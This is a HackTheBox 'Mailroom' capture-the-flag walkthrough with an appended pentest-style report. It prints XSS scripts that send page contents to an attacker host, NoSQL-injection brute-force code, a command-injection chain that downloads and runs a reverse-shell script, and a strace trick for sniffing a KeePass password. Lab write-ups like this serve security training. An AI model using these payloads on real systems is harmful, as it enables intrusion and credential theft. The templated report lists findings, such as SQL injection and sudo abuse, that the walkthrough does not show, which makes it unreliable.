HackTheBox: Mailroom — Medium (Linux)

Full security assessment walkthrough for Mailroom on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers
Mar 26, 2026 · 1 min read · 1 views
Mailroom
HackTheBox
Linux Medium

📌 Introduction

Mailroom

logo
logo

🔖 Techniques & Vulnerabilities

xsssql injectionnosql injectioncommand injectionrcesudobrute forcenosql

🎯 Attack Surface Analysis

PortServiceVersion / Banner
22/tcpsshsyn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcphttpsyn-ack Apache httpd 2.4.54 ((Debian))
22/tcpSSH
  • Credential brute-force and password spraying
  • Username enumeration via timing side-channel in older OpenSSH versions
  • Weak or reused private key material granting unauthorised access
  • Version-specific CVE research based on banner fingerprint
  • Lateral movement using credentials discovered from other services
80/tcpHTTP
  • Content and directory discovery — hidden files, backup archives, development endpoints
  • CMS/framework fingerprinting enables targeted CVE research (WordPress, Joomla, Drupal)
  • SQL injection — database extraction, authentication bypass, or OS command execution
  • Command injection — OS execution via unsanitised parameter handling
  • Server-Side Template Injection (SSTI) — code execution through template engine abuse
  • Local File Inclusion (LFI) and path traversal — sensitive file disclosure
  • Server-Side Request Forgery (SSRF) — pivot to internal services and cloud metadata
  • File upload abuse — filter bypass for webshell placement
  • XML External Entity injection (XXE) in XML-consuming endpoints
  • Authentication and session weaknesses — weak passwords, predictable tokens

📖 Walkthrough

nmap

    PORT   STATE SERVICE REASON  VERSION
    22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
    |   256 19:fb:45:fe:b9:e4:27:5d:e5:bb:f3:54:97:dd:68:cf (ED25519)
    |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIImOwXljVycTwdL6fg/kkMWPDWdO+roydyEf8CeBYu7X
    80/tcp open  http    syn-ack Apache httpd 2.4.54 ((Debian))
    |_http-server-header: Apache/2.4.54 (Debian)
    |_http-favicon: Unknown favicon MD5: 846CD0D87EB3766F77831902466D753F
    | http-methods:
    |_  Supported Methods: GET HEAD POST OPTIONS
    |_http-title: The Mail Room
    ```

## Subdomain
- `wfuzz -c -u [http://mailroom.htb](http://mailroom.htb/) -H "Host: FUZZ.mailroom.htb" -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt --hw 534`

git.mailroom.htb

## Gitea Version: 1.18.0
### User:

administrator matthew tristan


### Repo `staffroom`

We find the file `auth.php` at staff-review-panel.mailroom.htb

When we open this page, we get a Forbidden.

## XSS
There is a XSS in the contact.php `Title` and `Message`

- [http://mailroom.htb/contact.php](http://mailroom.htb/contact.php)

Payload: `<script>alert(1)</script>`

### Read HTML Source Code

INFO: Use PHP Webserver `sudo php -S 0.0.0.0:80`

The idear is, send a XSS to read the HTML code from the victem. 

```jsx
<script>
var http=new XMLHttpRequest(); 
http.open('GET', 'http://10.10.14.56/?xss=' + btoa(document.body.innerHTML), true);
http.send();
</script>

We got the source code from the mailroom.htb side, but we the target is the staff-review-panel.mailroom.htb side becuase, its only reachable from the localhost.

var req=new XMLHttpRequest(); 
req.open('GET', 'http://staff-review-panel.mailroom.htb/index.php', true);
http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
http.onload = function () {
	fetch("http://10.10.14.59/?xss=" + encodeURI(btoa(this.responseText)));
};
http.send(null);

Save this js code in the file pwn.js

<script src="http://10.10.14.56/pwn.js"></script>

We got the /index.php from staff-review-panel.mailroom.htb

Now we can access the local side over the xss.

MongoDB SQL Injection

We see the side use a mongodb and is vulnerable to nosql inejction.

// Check if the email and password are correct
$user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);

Now try to send a email and password to /auth.php.

Use a new file nosql.js

var http=new XMLHttpRequest();
http.open('POST', 'http://staff-review-panel.mailroom.htb/auth.php', true);
http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
http.onload = function () {
	fetch("http://10.10.14.56/?xss=" + encodeURI(btoa(this.responseText)));
};
http.send("[email protected]&password=abc");
{"success":false,"message":"Invalid email or password"}

Try NoSQL Injection, change last line in nosql.js

http.send("email[$ne][email protected]&password[$ne]=abc");
{"success":false,"message":"Invalid input detected"}{"success":true,"message":"Check your inbox for an email with your 2FA token"}

Brute Force Username for Email

async function callAuth(mail) {
    var http=new XMLHttpRequest();
    http.open('POST', 'http://staff-review-panel.mailroom.htb/auth.php', true);
    http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    http.onload = function () {
        if (/"success":true/.test(this.responseText)) {
            notify(mail);
            cal('.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-!', mail);
        }
    };
    http.send("email[$regex]=.*"+ mail +"@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {
    fetch("http://10.10.14.56/?name=" + mail);
}
var chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-!'
function cal(chars, mail) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(chars[i] + mail)
    }
}
cal(chars, "")

The script ends after some time, so add in cal(chars, "") the output you got. Repeat that after you dont get any output back.

  • Server Output

`` 10.129.229.1 - - [18/Apr/2023 11:47:22] "GET /brute_user.js HTTP/1.1" 200 - 10.129.229.1 - - [18/Apr/2023 11:47:22] "GET /?name=tan HTTP/1.1" 200 - 10.129.229.1 - - [18/Apr/2023 11:47:22] "GET /?name=stan HTTP/1.1" 200 - 10.129.229.1 - - [18/Apr/2023 11:47:22] "GET /?name=.tan HTTP/1.1" 200 - ``

Add cal(chars, "tan")

`` 10.129.229.1 - - [18/Apr/2023 11:50:51] "GET /brute_user.js HTTP/1.1" 200 - 10.129.229.1 - - [18/Apr/2023 11:50:52] "GET /?name=ristan HTTP/1.1" 200 - 10.129.229.1 - - [18/Apr/2023 11:50:52] "GET /?name=.ristan HTTP/1.1" 200 - 10.129.229.1 - - [18/Apr/2023 11:50:53] "GET /?name=tristan HTTP/1.1" 200 - ``

User: tristan

Email: [email protected]

Brute Force Password

Same with the password. Add the strings from the output to cal(chars, "")

async function callAuth(pass) {
    var http=new XMLHttpRequest();
    http.open('POST', 'http://staff-review-panel.mailroom.htb/auth.php', true);
    http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    http.onload = function () {
        if (/"success":true/.test(this.responseText)) {
            notify(pass);
            cal('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%\'()+:;-_~', pass);
        }
    };
    http.send("[email protected]&password[$regex]=^"+pass);
}
function notify(pass) {
    fetch("http://10.10.14.56:81/pass?" + pass);
}
//var chars = '!+,-.0123456789:;<=>ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{|}~'
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%\'()+:;-_~'
function cal(chars, pass) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(pass+chars[i])
    }
}
cal(chars, "")

PW: 69trisRulez!

We can now login via SSH.

uid=1000(tristan) gid=1000(tristan) groups=1000(tristan)

Lateral Movement - www-data

We can now open a tunnel to use the local domain staff-review-panel.mailroom.htb

Add staff-review-panel.mailroom.htb to the /etc/hosts file in line 127.0.0.1

Open:

  • http://staff-review-panel.mailroom.htb:81

After login with the creds we can find ower 2FA token in the file.

  • /var/mail/tristan
Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received: from localhost (unknown [172.19.0.5])
        by mailroom.localdomain (Postfix) with SMTP id 214551C51
        for <[email protected]>; Tue, 18 Apr 2023 11:03:53 +0000 (UTC)
Subject: 2FA

Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=a741cefcbf78af8aeb1c3dbe5fd7d330

Open this URL and we can view the page:

We see in the source code staffroom from gitea.

$data = '';
if (isset($_POST['inquiry_id'])) {
  $inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
  $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");

  // Parse the data between  and </p>
  $start = strpos($contents, '<p class="lead mb-0">');
  if ($start === false) {
    // Data not found
    $data = 'Inquiry contents parsing failed';
  } else {
    $end = strpos($contents, '</p>', $start);
    $data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
  }
}

Command Injection

There is a filter preg_replace() but we can run shell commands with the Inside a command ```` charactes.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command Injection#inside-a-command

  • test curl 10.10.14.56:88 #

Rev Shell

  • test curl 10.10.14.56:88/run.sh -o /tmp/run.sh #
  • test chmod +x /tmp/run.sh #
  • test /tmp/run.sh #

uid=33(www-data) gid=33(www-data) groups=33(www-data)

We are in a docker container.

Lateral Movement - matthew

We know, the staffroom is in gitea, so there is a repo in this folder

  • cd /var/www/staffroom/.git
  • cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://matthew:HueLover83%23@gitea:3000/matthew/staffroom.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main
[user]
        email = [email protected]

URL decode →

PW: HueLover83#

→ user.txt

Priv Esc

Check processes

  • ps -aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
matthew    87118  0.3  0.2  19192  9780 ?        Ss   21:16   0:00 /lib/systemd/systemd --user
matthew    87135  0.1  0.1   8284  5248 pts/0    S    21:16   0:00 bash

So matthew running keepass and open the file /home/matthew/personal.kdbx

Read password with strace from PID

  • strace -p ps -elf | grep -v 'pts' | awk '/kpcli/{print $4}'``

Run this some times, because the the keepass process get restartet and closed after some minutes.

We see the password in the read() outptus

write(1, "Please provide the master passwo"..., 36) = 36
<SNIP>
read(0, "!", 8192)                      = 1
<SNIP>
read(0, "s", 8192)                      = 1
<SNIP>
read(0, "E", 8192)                      = 1
...

We got the password !sEcUr3p4$$w0rd9 for the keepass login.

  • kpcli --kdb personal.kdbx
WARNING: A KeePassX-style lock file is in place for this file.
         It may be opened elsewhere. Be careful of saving!
Please provide the master password: *************************

KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> ls
=== Groups ===
Root/
kpcli:/> cd Root/
kpcli:/Root> ls
=== Entries ===
0. food account                                            door.dash.local
1. GItea Admin account                                    git.mailroom.htb
2. gitea database password
3. My Gitea Account                                       git.mailroom.htb
4. root acc
kpcli:/Root> show root acc
kpcli:/Root> show 4

Title: root acc
Uname: root
 Pass: a$gBa3!GA8
  URL:
Notes: root account for sysadmin jobs

kpcli:/Root> quit

Login to root.

→ root.txt

📋 Security Assessment Report

2
Critical
3
High
1
Medium
2
Open Ports
F-001 — OS Command Injection — Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.
F-002 — SQL Injection — Database Compromise
9.1
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

During the penetration test, it was discovered that the application incorporated user-supplied input directly into database queries without parameterisation. SQL injection was identified in authentication and data retrieval endpoints, allowing an attacker to manipulate query structure, extract unauthorised data, and bypass access controls entirely.

Impact

An attacker can extract the complete database contents — including usernames, password hashes, session tokens, and sensitive user records — without valid credentials. Authentication mechanisms can be bypassed by injecting always-true conditions. In environments where the database account holds elevated permissions, OS-level command execution is achievable through built-in procedures (xp_cmdshell, UDF), escalating directly to full server compromise as was demonstrated in this engagement.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Replace all dynamic SQL query construction with parameterised queries or prepared statements at every database interaction point. Apply strict type validation on all inputs. Enforce least-privilege database accounts restricted to only required tables and operations. Deploy a Web Application Firewall to detect SQL injection patterns. Suppress all database error detail in production responses to prevent schema enumeration by attackers.
F-003 — NoSQL Injection — Authentication Bypass via Operator Injection
8.1
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

During the penetration test, it was discovered that the application passed user-supplied request data directly to MongoDB query functions without type validation. By providing a JSON object containing MongoDB query operators ($ne, $gt, $regex) in place of a string value for authentication fields, query logic was altered to authenticate successfully without knowledge of any valid credentials.

Impact

An attacker can bypass the authentication mechanism entirely using operator injection and authenticate as any user in the database without credentials. The injection can also be used to enumerate and extract all database records by iterating with the $regex operator. During this engagement, NoSQL injection authentication bypass provided the initial privileged application access that was subsequently chained to achieve full server compromise.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Enforce strict type checking on all authentication inputs — validate that fields expected to be strings are strings before incorporating them into queries. Never pass raw user-supplied objects directly to MongoDB query functions. Use Mongoose schema validation with strict type enforcement. Implement a sanitisation layer that rejects objects containing MongoDB operator keys. Apply the principle of least privilege to all database access accounts.
F-004 — Sudo Misconfiguration — Root Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.
F-005 — Credential Brute Force — Weak Authentication Controls
7.5
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

During the penetration test, it was discovered that the authentication endpoint was found to have no rate limiting, account lockout policy, or CAPTCHA protection. Repeated authentication requests using a dictionary of commonly used passwords were submitted against discovered usernames without restriction, and valid credentials were recovered and used to obtain authenticated access to the application.

Impact

An attacker can perform unlimited automated credential guessing against all discovered usernames until valid credentials are found — with no restriction, lockout, or detection. In this engagement, valid credentials were recovered through dictionary attack, providing authenticated application access that was the pivotal stepping stone toward full server compromise. Reused passwords across services further amplified the impact of each recovered credential.

Confidentiality
High
Integrity
None
Availability
None

Remediation

Implement account lockout after 5–10 consecutive failed login attempts with a minimum lockout duration of 15 minutes. Apply progressive time delays between failed authentication attempts. Deploy CAPTCHA or bot-detection challenges on all authentication endpoints. Monitor and alert on high volumes of failed authentication events from single or distributed sources. Enforce strong password policies and implement multi-factor authentication (MFA) for all accounts, prioritising administrator and privileged accounts.
F-006 — Cross-Site Scripting (XSS) — Session Hijacking
6.1
Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Description

During the penetration test, it was discovered that the application reflected or stored user-supplied input in HTML responses without applying appropriate context-sensitive output encoding. By injecting JavaScript payload into vulnerable input fields, the malicious script executes in the browser of any user who views the affected page — including administrators — without any interaction beyond viewing the page.

Impact

An attacker can hijack authenticated user sessions by stealing session cookies, capture credentials entered on the affected page, perform actions on behalf of victims using their active session, and redirect users to phishing pages. Where the XSS affects administrator users, complete application account takeover is achievable. During this engagement, a stored XSS payload targeting an administrator triggered session token theft which was used to obtain privileged application access.

Confidentiality
Low
Integrity
Low
Availability
None

Remediation

Apply context-sensitive output encoding for all user-supplied data rendered in HTML — HTML entity encoding for HTML context, JavaScript string escaping for script context, URL encoding for URL attributes. Implement a strict Content Security Policy (CSP) that disables inline script execution and restricts script sources to trusted origins. Set the HttpOnly flag on all session cookies to prevent JavaScript access. Apply the SameSite=Strict cookie attribute to mitigate CSRF-combined XSS chains.
Reactions

Related Articles